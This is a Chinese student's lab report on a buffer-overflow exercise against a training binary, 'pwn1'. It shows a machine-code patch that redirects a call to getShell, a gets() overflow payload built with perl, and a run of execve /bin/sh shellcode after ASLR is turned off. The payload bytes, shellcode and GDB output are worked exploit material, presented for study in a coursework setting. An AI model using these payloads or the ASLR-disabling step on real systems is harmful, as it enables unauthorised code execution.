20251914 2024-2025-2 《网络攻防实践》实践九报告

20251914 2024-2025-2 《网络攻防实践》实践九报告

目录

1.实践内容

这次实验主要围绕Linux下的pwn1可执行文件展开学习。这个程序正常运行时就是接收我们输入的字符串然后做简单回显,内部还藏着一个能调出Shell的getShell函数,只是正常流程不会主动执行到它。

实验里主要是三部分内容:一是手动修改可执行文件的机器码,直接篡改程序执行流程,让程序跳到getShell函数;二是利用foo函数的缓冲区溢出漏洞,自己构造攻击payload,覆盖函数返回地址,间接触发getShell;三是尝试自己编写并注入shellcode,让程序运行我们自定义的指令代码。

2.实践过程

通过命令hostnamectl set-hostname wuyiyan把主机名字修改为自己的名字缩写
image
使用图形化界面重命名文件,加上自己的学号
image

2.1 修改文件改变程序运行流程

2.1.1 使用objdump -d pwn20251914 | more指令反编译文件

image

2.1.2 找到main函数代码段

第4行 80484b5: e8 d7 ff ff ff call 8048491 代表跳转到foo函数
image

2.1.3

这条 call 指令位于:

0x080484b5

指令长度是 5 字节,所以执行完这条指令后,下一条指令地址是:

0x080484ba

如果要让它调用 getShell,目标地址应改为:

0x0804847d

因此需要计算新的相对偏移:

目标地址 - 下一条指令地址
= 0x0804847d - 0x080484ba
= -0x3d

把 -0x3d 转成 32 位补码,就是:

0xffffffc3

由于 x86 使用小端序,所以写入文件时 4 个字节要倒过来放:

c3 ff ff ff

所以原来的机器码:

e8 d7 ff ff ff

应该修改成:

e8 c3 ff ff ff

2.1.4 使用vim pwn20251914进入文件

image

2.1.5 使用:%!xxd命令来使文件以十六进制显示

image

2.1.6 将e8 d7 ff ff ff改为e8 c3 ff ff ff,它在000004b0的位置,通过命令:%!xxd -r 将十六进制转换为原格式,通过命令:wq保存并退出

image
image

2.1.7 使用命令objdump -d pwn20241905 | more,可以看到已经改成跳转到getshell了

image

2.1.8 运行 ./pwn20251914 后,程序没有按照原本流程调用 foo,而是直接跳转执行 getShell 函数,终端出现 # 提示符,说明已经成功获得 shell

image

2.2 利用漏洞构造攻击

2.2.1 使用命令objdump -d pwn20241905 | more反汇编,观察foo函数

foo 函数的主要漏洞在于使用了 gets() 读取用户输入。gets() 不会检查输入长度,只要用户输入的数据超过局部缓冲区大小,就会继续向栈上的其他区域写入数据,最终可能覆盖保存的 ebp 和返回地址。
因此,攻击者可以构造一段超长输入,把 foo 函数的返回地址改成 getShell 函数的地址。这样当 foo 执行结束时,程序不会返回到 main 的正常位置,而是跳转到 getShell,从而改变程序执行流程。
image

2.2.2 进行计算得出

gets() 写入的位置是:

ebp - 0x1c

也就是缓冲区起点距离 ebp 有:

0x1c = 28 字节

而返回地址在:

ebp + 4

所以从缓冲区起点覆盖到返回地址,需要:

28 字节缓冲区 + 4 字节旧 ebp = 32 字节

getShell 地址是:

0x0804847d

x86 是小端序,所以写入时要反过来:

\x7d\x84\x04\x08

因此 payload 是:

32字节填充 + getShell地址

可以这样构造:

perl -e 'print "A"x32 . "\x7d\x84\x04\x08"' > input20251914

然后运行:

(cat input20251914; cat) | ./pwn20251914

2.2.3 成功执行getshell

image

2.3 注入shellcode并运行

2.3.1 输入命令apt install checksec安装checksec,通过 checksec --file=./pwn20251914 查看程序保护机制,发现该程序 NX disabled,说明栈空间具有可执行权限

image

2.3.2 使用more /proc/sys/kernel/randomize_va_space查看地址随机状态,可以看出来是开启状态

image

2.3.3 使用echo "0" > /proc/sys/kernel/randomize_va_space命令关闭地址随机状态,再重新检查,可以看出已经关闭

image

2.3.4 构造输入字符串,确定retaddr

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 20251914input1
image

2.3.5 找shell在内存里的位置

前面构造的输入是:

32 个 A + 4 字节返回地址 + NOP + shellcode
其中这 4 字节返回地址现在写的是:

\x04\x03\x02\x01
因为 x86 是小端序,所以它在程序里会被解释成:

0x01020304
这个地址本来就是随便写的假地址,所以程序返回时会跳到 0x01020304,然后崩溃。GDB 里显示:

Program received signal SIGSEGV
0x01020304 in ?? ()
eip 0x01020304
这说明:我们确实成功控制了返回地址。也就是说,foo 函数执行 ret 的时候,已经不是返回原来的位置,而是跳到了我们输入的地址。

然后看这一行:

esp 0xffffdc20
esp 是栈顶指针。程序崩溃时,esp 正好指向我们输入数据中返回地址后面的内容,也就是:

NOP + shellcode
下面这段就是证据:

0xffffdc20: 0x90909090 0xc0319090 0x2f2f6850 ...
其中:

90 90 90 90 90 90
就是 NOP 指令,后面的:

31 c0 50 68 2f 2f 73 68 ...
就是 shellcode。

所以这一步的核心结论是:

shellcode 大概从 0xffffdc20 开始
下一步我们就要把原来假的返回地址:

\x04\x03\x02\x01
换成真实地址:

0xffffdc20
但因为小端序,写进 payload 时要反过来写:

\x20\xdc\xff\xff
这样程序返回时就会跳到栈里的 NOP + shellcode,从而执行 /bin/sh
使用命令gdb -q ./pwn20251914 \ -ex 'set pagination off' \ -ex 'run < 20251914input1' \ -ex 'info registers eip esp' \ -ex 'x/32x $esp' \ -ex 'quit'

image

使用命令获取shellcode

使用了(
cat 20251914shell
sleep 0.3
printf "\n"
sleep 0.8
printf "%s\n" "echo SHELL_PROOF" "whoami" "id" "pwd" "exit"
) > pwnfifo &

./pwn20251914 < pwnfifo
命令,意思是
先把 payload 输入程序;
再输入换行,让 gets 结束读取;
稍等后继续输入 whoami、id、pwd;
如果 shellcode 成功执行 /bin/sh,这些命令就会被 shell 执行。

image

3.学习中遇到的问题及解决

  • 问题1:文件格式不对
    image

  • 问题1解决方案:在转成十六进制之后忘记转回二进制了,直接转回二进制即可

  • 问题2:无法安装execstack

  • 问题2解决方案:通过 checksec --file=./pwn20251914 查看程序保护机制,发现该程序 NX disabled,说明栈空间具有可执行权限,因此在进行 shellcode 注入实验时,不需要再额外使用 execstack 修改栈权限。

  • 问题2:安装gdb出错

  • 问题2解决方案: Kali 软件源太旧,缺 archive key,安装即可

4.实践总结

通过本次实践,我对缓冲区溢出漏洞的形成原因、利用过程以及相关防护机制有了更加系统的理解。实验从程序反汇编、机器码修改、栈帧结构分析、返回地址覆盖到 shellcode 注入,逐步理解程序控制流是如何被改变的。

posted @ 2026-05-25 19:54  wyyoh  阅读(14)  评论(0)    收藏  举报